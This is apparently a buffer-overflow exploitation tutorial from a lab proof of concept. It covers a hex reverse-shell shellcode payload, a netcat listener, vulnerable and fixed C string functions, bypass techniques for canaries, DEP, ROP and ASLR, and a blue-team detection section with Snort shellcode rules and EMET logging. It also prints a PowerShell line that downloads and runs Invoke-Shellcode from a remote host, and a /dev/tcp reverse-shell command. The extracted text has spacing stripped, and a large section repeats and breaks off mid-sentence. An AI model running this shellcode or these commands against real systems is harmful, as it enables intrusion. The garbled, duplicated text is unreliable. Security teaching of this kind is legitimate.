KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
